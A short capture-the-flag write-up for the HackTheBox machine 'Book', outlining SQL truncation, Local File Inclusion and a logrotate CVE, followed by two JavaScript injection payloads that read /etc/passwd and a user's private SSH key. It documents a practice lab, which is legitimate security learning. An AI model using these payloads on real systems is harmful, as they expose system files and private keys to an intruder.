Book @ HackTheBox

Book is a 30-point Linux machine on HackTheBox. We log into a web application by exploiting SQL truncation and then use a Local File Inclusion vulnerability to obtain an SSH key. By exploiting a logrotate CVE we escalate privileges.

Notes

JS Payloads:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>